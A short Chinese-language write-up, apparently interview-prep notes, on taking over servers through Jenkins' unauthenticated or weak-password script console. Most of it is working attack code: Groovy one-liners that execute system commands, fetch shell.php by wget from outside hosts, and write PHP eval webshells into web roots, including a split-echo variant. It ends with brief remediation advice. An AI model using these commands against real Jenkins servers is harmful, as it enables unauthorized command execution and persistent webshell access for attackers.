昨天晚上面試官問到了,還沒來得及看,今天又問到了,猝不及防,藍瘦,香菇、、、
今天特此總結一下,給自己一個交代。
總述:進入后台可進行如下操作:
直接執行系統命令:
println "cmd".execute().text
wget下載文件getshell:
println "wget http://xxxx/tools/shell.php -P /tmp/".execute().text
創建文件getshell:
new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');
Terminal Plugin插件直接執行命令
安裝Terminal Plugin插件即可。
漏洞描述
默認情況下Jenkins面板中用戶可以選擇執行腳本界面來操作一些系統層命令,攻擊者可通過未授權訪問漏洞或者暴力破解用戶密碼等進腳本執行界面從而獲取服務器權限。
漏洞危害
Jenkins未授權訪問可執行命令,可反彈shell等等
漏洞利用
登錄/弱口令登錄
http://url:8080/manage
http://url:8080/script
登錄界面:
選擇“系統管理”
登陸后,選擇腳本命令執行:
命令執行:
println "ifconfig -a".execute().text
println "wget http://xxxx/tools/shell.php -P /tmp/".execute().text
獲得shell
利用”腳本命令行” 寫入webshell,內容如下:
new File("/var/www/html/media.php").write('<?php @eval($_POST[cmd]);?>');
其他寫shell方法:
① wget寫webshell
println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/media.php".execute().text
②
new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');
③
def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/media.php").write("$webshell");
④追加法寫webshell
def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/media.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/media.php' ] )
//參數-n 不要在最后自動換行
點擊“運行”,沒有報錯,上傳成功
菜刀連接即可。
Terminal Plugin
可以搜索安裝Terminal Plugin,執行命令。
漏洞修復
- 1、禁止把Jenkins直接暴露在公網
- 2、添加認證,設置強密碼復雜度及賬號鎖定。